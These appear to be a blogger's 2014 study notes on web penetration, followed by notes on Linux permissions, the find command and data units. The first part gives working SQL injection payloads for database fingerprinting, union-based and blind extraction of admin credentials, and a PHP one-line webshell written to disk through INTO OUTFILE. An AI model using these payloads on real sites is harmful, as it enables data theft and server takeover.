2014年7月

web渗透 复习笔记

默认情况下,Linux系统的TTL值为64或255,Windows NT/2000/XP系统的TTL值为128,Windows 98系统的TTL值为32,UNIX主机的TTL值为255。


常见HTTP状态码

  • 200——OK
  • 404——NOT FOUND
  • 403——禁止访问
  • 500——内部服务器错误,IIS服务器无法解析ASP代码详细


如何判断一个网站的数据库

在注入点之后加一个空格,然后加上下面的这几个语句,根据错误回显,就可以判断出网站所用的数据库类型。

① and user>0

当网站的数据库是MSSql时,因为user是MSSQL的一个内置变量,我们拿这个变量和0比大小的时候,会出现错误,错误信息一般为:

将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误。

而在access中是没有用户的,所以当网站的数据库是access时,不会出现上述错误信息。

② and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

这两条语句随便选一句就可以达到判断数据库类型的目的,因为sysobjects是MSSQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。

另外,在注入点后加单引号也是有可能可以判断出网站的数据库类型的,比如:

http://www.xx.com/product_show.asp?id=4956

加了单引号之后的错误回显为:

/product_show.asp,行 52

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id=4956'' 中。

从出错信息中,就可以看到,明显的有“Microsoft Access Driver”这样的字眼,那么很明显的,这个网站就是用的access数据库了。

还有这个:

http://www.xxx.com/cpzs1.asp?hid=2

错误信息为:

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'bigclass=2' and filename<>'' order by title asc' 中。

/cpzs1.asp,行 97

当我们看到“Microsoft JET Database Engine”这几个字符的时候,就可以断定这个网站用的是access数据库了。


asp手工注入的一般流程(支持联合查询的情况)

(1)猜表名

所用语句:
and exists (select * from 表名)

例如:
and exists (select * from admin)

如果页面回显正确,则说明我们这里猜的表名是正确的,如果页面出错,那么就说明我们这里写的表名是错误的,那就换一个表名继续猜,一直到猜中为止。

(2)猜字段

所用语句:
and exists (select 字段名 from 表名)

例如:
and exists (select username from admin)

这里,假设admin表是我上边猜对了的表,那么我要判断username字段是否存在,就要使用这条语句,如果页面回显正确,则说明我们这里猜的字段名是正确的,如果页面出错,那么就说明我们这里写的字段名是错误的,那就换一个字段名继续猜,一直到猜中为止。

(3)order by

order by 是为了获得该页面上的字段数的总和,为下一步的联合查询做准备,例子如下:

http://ihhw.com/product_show.asp?id=1 order by 10

页面显示正常,说明该页面字段总数大于等于10,继续提交:

http://ihhw.com/product_show.asp?id=1 order by 11

页面显示错误,说明该页面字段总数不大于也不等于11,那么就是小于11了,综合上面可知就是10

(4)联合查询(union select)

这里的联合查询是手工注入的最后一个环节了,也就是爆出管理员的用户名和密码,具体实例看这里:

http://ihhw.com/product_show.asp?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

and 1=2一定要加,是为了让前面的sql不成立,页面就可以显示后面的union select效果,也可以这样写:?id=-1


asp手工注入(不支持联合查询时)——使用ascii逐字解码法

前面三步和上面的一样,这里总结下获取数据这部分方法:

第一步,我们需要获得表中字段的长度,
使用的语句:

and (select top 1 len(字段名) from 表名)>0

比如:
and (select top 1 len(admin_name) from Admin)>10

最后边的10,是一个可变的数字。>4显示正常,>5显示错误,那就是大于4但不大于5的,结果也就是5。

第二步,截取字段中的某个字符,并得到该字符的ASCII码,使用的语句:

and (select top 1 asc(mid(字段名,N,1)) from 表名)>0

比如:
and (select top 1 asc(mid(username,1,1)) from Admin)>0

我们把这句话分开来看,首先,最里边的mid(username,1,1)函数,这个是截取username字段的第一个字符,N表示要截取第几个字符,然后外边的asc()函数,这个是将mid函数截取到的字符转换成ASCII码,最外边的top 1,表示返回字段中的第一条记录,然后,最后边的“>0”,是将这个转换出的ASCII码与这个数字相比较,通过不断变换最后的这个数值,最终得出截取到的这个字符的具体的ASCII码。


php手工注入一般流程

  1. 判断是否可以注入
  2. 获得字段数
  3. 获得显示位
  4. 猜表名
  5. 猜字段

1、单引号方法判断;

2、order by ,7正常,8错误,那就是7;

3、and 1=2 union select 1,2,3,4,5

4、在第三步的地址后面加上from 表名,例如:

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,2,3+from+admin--+

表不存在时会报错,如:Table 'security.admin' doesn't exist

5、猜字段的方法是,使用:concat(字段名)或者group_concat(),替换显示位的位置

concat函数只获取第一条记录,group_concat函数获取数据库内所有记录。

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,concat(id,0x2b,username,0x2b,password),3+from+users--+

回显为:1+Dumb+Dumb

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,group_concat(id,0x2b,username,0x2b,password),3+from+users--+

回显为:1+Dumb+Dumb,2+Angelina+I-kill-you,3+Dummy+p@ssword,4+secure+crappy,5+stupid+stupidity,6+superman+genious,7+batman+mob!le,8+admin+admin,9+admin1+admin1,10+admin2+admin2,11+admin3+admin3,12+dhakkan+dumbo,14+admin4+admin4(输出了表内指定查询字段的所有记录,用逗号分隔)


MySQL > 5.0版本查表爆数据方法

查看有哪些数据库:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+schema_name)+from+information_schema.schemata+--+

Illegal mix of collations for operation 'UNION'问题,请参考下面的案例。简单说就是使用convert函数,例如上面的链接修改后为:

?id=-22")+union+select+1,2,convert(GROUP_CONCAT(DISTINCT+schema_name)+using+ascii)+from+information_schema.schemata--+

查看数据库中的表:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.tables+WHERE+table_schema=0x7365637572697479+--+

查看表中字段:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name)+from+information_schema.columns+WHERE+table_name=0x656D61696C73+--+

查看表中记录条数:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,CONCAT(count(*))+from+security.emails+--+

导出表中数据:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(id,0x2b2b,email_id)+from+security.emails+--+

或:http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,CONCAT(id,0x2b2b,email_id)+from+security.emails+LIMIT+0,1--+

手工注入案例一枚 链接: http://pan.baidu.com/s/1eQ6BoxO 密码: hpkp


load_file()函数使用备忘

load_file在注入里的用法是:
+union+select+1,2,3,hex(load_file(路径的hex值)),5,6,7...,8

(有的人不喜欢用hex,不过对于一些韩国啊、日本的网站,用hex的话可以防止编码问题带来的内容缺字符丢失,个人认为一些注释之类的东西还是蛮重要的。)


outfile,建表,写webshell代码

create table test(a text);

insert into test(a) value('<?php eval_r($_POST[yijuhua])?>');

select a from test into outfile 'D:\wamp\www\hack\yijuhua.php';

对于windows一定得用上面这样的形式的绝对路径.

注:重新看下写入的webshell的源码,每一个空行都多了一个\n对不?

所以出现了 Warning: Unexpected character in input: '\' (ASCII=92) state=1 错误

这是因为MySql输出文件时,咱们平日用的回车他都会自动在上面\n最为咱们用的回车。所以一般直接写webshell都是写一句话,很少写大马,因为大马写出来常常不好用,就因为多了个\n。解决方法就是在大马那上面每行结尾加个/* ,每行开头加个*/注释掉这个\n再写大马。

=========================================

刚碰到一个root空口令的MySql,进phpMyAdmin,outfile成功,但是无法load_file。如下解决:

建表:

create table test (a text);

insert into test (a) values (load_file('c:\boot.ini'));

select * from test;

成功解决。


Linux学习笔记(一):文件权限和find查找文件

一、文件安全与权限

1、目录的权限位意味着可以列出其中的内容。
权限位意味着可以在该目录中创建文件,如果不希望其他用户在你的目录中创建文件,可以取消相应的写权限位。
执行权限位则意味着搜索和访问该目录。

2、目录的权限将会覆盖该目录中文件的权限。例如,如果目录docs具有如下的权限:
drwx r-- r-- 1 louise admin ......
而其中的文件pay的权限为:
-rwx rwx rwx 1 louise admin ......
那么admin组的其他用户将无法编辑该文件,因为它所属的目录不具有这样的权限。
该文件对任何用户都可读,但由于它所在的目录并未给admin组的用户赋予执行权限,所以该组的用户都将无法访问该目录,他们将会得到“访问受限”的错误消息。

3、注意,chmod命令不进行必要的完整性检查,可以给某一个没用的文件赋予任何权限,但chmod命令并不会对所设置的权限组合做什么检查。因此,不要看到一个文件具有执行权限,就认为它一定是一个程序或脚本。

4、只有文件的属主和系统管理员可以改变文件的所有权。一旦将文件的所有权交给另外一个用户,就无法再重新收回它的所有权。
chown命令的一般形式为:
chmod -R -h owner file
-R选项意味着对所有子目录下的文件也都进行同样的操作。-h选项意味着在改变符号链接文件的属主时不影响该链接所指向的目标文件。

5、改变所有组:chgrp命令和chown命令的格式差不多
$ chgrp sybadmin project
现在把project文件所属的组由admin变为sybadmin(系统中的另外一个用户组)

6、查看自己所属的组:id 或groups
查看其他用户所属的组:groups tom

7、存在两种不同类型的链接,软链接和硬链接。软链接实际上就是一个指向文件的指针。你将会发现这种软链接使用起来非常方便。
该命令的一般形式为:
ln [-s] source_path target_path
其中的路径可以是目录也可以是文件。
不管是否在同一个文件系统中,都可以创建链接。在创建链接的时候,不要忘记在原有目录设置执行权限。链接一旦创建,链接目录将具有权限777或rwx rwx rwx ,但是实际的原有文件的权限并未改变。

二、使用find和xargs

Find命令的一般形式为:
find pathname -options [-print -exec -ok]
让我们来看看该命令的参数:

pathname find命令所查找的目录路径。例如用 .来表示当前目录,用 /来表示系统根目录。
-print find命令将匹配的文件输出到标准输出。
-exec find 命令对匹配的文件执行该参数所给出的 shell命令。相应命令的形式为'command' {} \;,注意{ }和\;之间的空格。
-ok 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的 shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

find命令有很多选项或表达式,每一个选项前面跟随一个横杠 - 。让我们先来看一下该命令的主要选项,然后再给出一些例子。

-name 按照文件名查找文件。
文件名选项是find命令最常用的选项,要么单独使用该选项,要么和其他选项一起使用。可以使用某种文件名模式来匹配文件,记住要用引号将文件名模式引起来。
e.g. 1)想要在当前目录及子目录中查找所有的txt文件,可以用:
$ find . -name "*.txt" -print
2)想要在当前目录及子目录中查找文件名以一个大写字母开头的文件,可以用:
$ find . -name "[A-Z]*" -print
3)想要在/etc目录中查找文件名以host开头的文件,可以用:
$ find /etc -name "host*" -print
4)如果想在当前目录查找文件名以两个小写字母开头,跟着是两个数字,最后是*.txt的文件,下面的命令就能够返回名为ax37.txt的文件:
$ find . -name "[a-z][a-z][0-9][0-9].txt" -print
5)如果想在当前目录查找文件名包含一个小写字母连着一个大写字母,再接着是两个数字,最后是*.txt的文件,下面的命令就能够返回名为axA12.txt的文件:
$ find . -name "*[a-z][A-Z][0-9][0-9]*.txt" -print


-perm 按照文件权限来查找文件。在使用这一选项的时候,最好使用八进制的权限表示法。
在当前目录下查找文件权限位为755的文件,即文件属主可以读、写、执行,其他用户可以读、执行的文件,可以用:
$ find . -perm 755 -print


-prune 使用这一选项可以使 find命令不在当前指定的目录中查找,如果同时使用了-depth选项,那么-prune 选项将被find命令忽略。
如果希望在/apps目录下查找文件,但不希望在/apps/bin 目录下查找,可以用:
$ find /apps -name "/apps/bin" -prune -o -print


-user -nouser按照文件属主来查找文件。
例如,在$HOME目录中查找文件属主为dave的文件,可以用:
$ find ~ -user dave -print
在/etc目录下查找文件属主为uucp的文件:
$ find /etc -user uucp -print
为了查找属主帐户已经被删除的文件,可以使用 -nouser 选项。这样就能够找到那些属主在/etc/passwd文件中没有有效帐户的文件。在使用-nouser选项时,不必给出用户;find命令能够为你完成相应的工作。例如,希望在/home目录下查找所有的这类文件,可以用:
$ find /home -nouser -print


-group -nogroup按照文件所属的组来查找文件。
在/apps目录下查找属于accts用户组的文件,可以用:
$ find /apps -group accts -print
从文件系统的根目录处查找没有有效用户组的文件
$ find / -nogroup -print


-mtime -n +n 按照文件的更改时间来查找文件, -n表示文件更改时间距现在 n天以内,+n表示文件更改时间距现在 n天以前。find命令还有-atime 和-ctime选项,但它们都和 -mtime选项相似,所以我们在这里只介绍 -mtime选项。
在系统根目录下查找更改时间在 5日以内的文件,可以用:
$ find / -mtime -5 -print


-newer file1 ! file2 查找更改时间比文件file1新但比文件file2旧的文件。

如果想使用find命令的这一选项来查找更改时间在两个小时以内的文件,除非有一个现成的文件其更改时间恰好在两个小时以前,否则就没有可用来比较更改时间的文件。为了解决这一问题,可以首先创建一个文件并将其日期和时间戳设置为所需要的时间。这可以用touch命令来实现。
假设现在的时间是 23:40,希望查找更改时间在两个小时以内的文件,可以首先创建这样一个文件:
$ touch -t 05042140 dstamp
一个符合要求的文件已经被创建;这里我们假设今天是五月四日,而该文件的更改时间是21:40,比现在刚好早两个小时。
现在我们就可以使用find命令的-newer选项在当前目录下查找所有更改时间在两个小时以内的文件:
$ find . -newer dstamp -print


-type 查找某一类型的文件,诸如:
b - 块设备文件。
d - 目录。
c - 字符设备文件。
p - 管道文件。
l - 符号链接文件。
f - 普通文件。
在/etc目录下查找所有的目录,可以用:
$ find /etc -type d -print
在当前目录下查找除目录以外的所有类型的文件,可以用:
$ find . ! -type d -print
为了在/etc目录下查找所有的符号链接文件,可以用:
$ find /etc -type l -print


-size n[c] 查找文件长度为n块的文件,带有c时表示文件长度以字节计。
为了在当前目录下查找文件长度大于 1M字节的文件(1kB = 1024Bytes More),可以用:
$ find . -size +1000000c -print
为了在/home/apache目录下查找文件长度恰好为100字节的文件,可以用:
$ find /home/apache -size 100c -print
为了在当前目录下查找长度超过10块的文件(一块等于512字节),可以用:
$ find . -size +10 -print


-depth 在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。
在下面的例子中,find命令从文件系统的根目录开始,查找一个名为CON.FILE的文件。它将首先匹配所有的文件然后再进入子目录中查找。
$ find / -name "CON.FILE" -depth -print


-fstype 查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。


-mount 在当前的文件系统中查找文件时,不进入其他文件系统(例如win+Linux双系统下,在Linux下,文件系统同时挂载了NTFS文件系统)。
在下面的例子中,我们从当前目录开始查找位于本文件系统中文件名以XC结尾的文件:
$ find . -name "*.XC" -mount -print


-follow 如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。


-cpio 对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。
$ find etc home apps -depth -print | cpio -ivcdC65536 -o /dev/rmt0 (根目录下执行)
在上面的例子中,应当注意到路径中缺少 / 。这叫作相对路径。之所以使用相对路径,是因为在从磁带中恢复这些文件的时候,可以选择恢复文件的路径。例如,可以将这些文件先恢复到另外一个目录中,对它们进行某些操作后,再恢复到原始目录中。如果在备份时使用了绝对路径,例如/etc ,那么在恢复时,就只能恢复到/etc 目录中去,别无其他选择。在上面的例子中,我告诉find命令首先进入/etc 目录,然后是/home 和/apps 目录,先匹配这些目录下的文件,然后再匹配其子目录中的文件,所有这些结果将通过管道传递给cpio命令进行备份。
顺便说一下,在上面的例子中cpio命令使用了C65536选项,我本可以使用 B选项,不过这样每块的大小只有512字节,而使用了C65536 选项后,块的大小变成了64K字节(65536/1024)。

bit、Byte、字节、字的关系

作者:wanlixingzhe
原文:http://blog.csdn.net/wanlixingzhe/article/details/7107923

字 word
字节 byte
位 bit
字长是指字的长度

1字=2字节(1 word = 2 byte)
1字节=8位(1 byte = 8bit)

一个字的字长为16
一个字节的字长是8

bps是 bits per second 的简称。一般数据机及网络通讯的传输速率都是以「bps」为单位。如56Kbps、100.0Mbps 等等。
Bps即是Byte per second 的简称。而电脑一般都以Bps 显示速度,如1Mbps 大约等同 128 KBps。
bit 电脑记忆体中最小的单位,在二进位电脑系统中,每一bit 可以代表0 或 1 的数位讯号。
Byte一个Byte由8 bits 所组成,可代表一个字元(A~Z)、数字(0~9)、或符号(,.?!%&+-*/),是记忆体储存资料的基本单位,至於每个中文字则须要两Bytes。当记忆体容量过大时,位元组这个单位就不够用,因此就有千位元组的单位KB出现,以下乃个记忆体计算单位之间的相关性:

1 Byte = 8 Bits

1 KB = 1024 Bytes

1 MB = 1024 KB

1 GB = 1024 MB

usb2.0标准接口传输速率。许多人都将“480mbps”误解为480兆/秒。其实,这是错误的,事实上“480mbps”应为“480兆比特/秒”或“480兆位/秒”,它等于“60兆字节/秒”,大家看到差距了吧。

这要从bit和byte说起:bit和byte同译为"比特",都是数据量度单位,bit=“比特”或“位”。
byte=字节即1byte=8bits,两者换算是1:8的关系。
mbps=mega bits per second(兆位/秒)是速率单位,所以正确的说法应该是说usb2.0的传输速度是480兆位/秒,即480mbps。
mb=mega bytes(兆比、兆字节)是量单位,1mb/s(兆字节/秒)=8mbps(兆位/秒)。

我们所说的硬盘容量是40gb、80gb、100gb,这里的b指是的byte也就是“字节”。
1 kb = 1024 bytes =2^10 bytes
1 mb = 1024 kb = 2^20 bytes
1 gb = 1024 mb = 2^30 bytes

比如以前所谓的56kb的modem换算过来56kbps除以8也就是7kbyte,所以真正从网上下载文件存在硬盘上的速度也就是每秒7kbyte。
也就是说与传输速度有关的b一般指的是bit。
与容量有关的b一般指的是byte。

最后再说一点: usb2.0 480mbps=60mb/s的传输速率还只是理论值,它还要受到系统环境的制约(cpu、硬盘和内存等),其实际读、取写入硬盘的速度约在11~16mb/s。但这也比usb1.1的12mbps(1.5m/s)快了近10倍。

补充所有级别:Byte、KB、MB、GB、TB、PB、EB、ZB、YB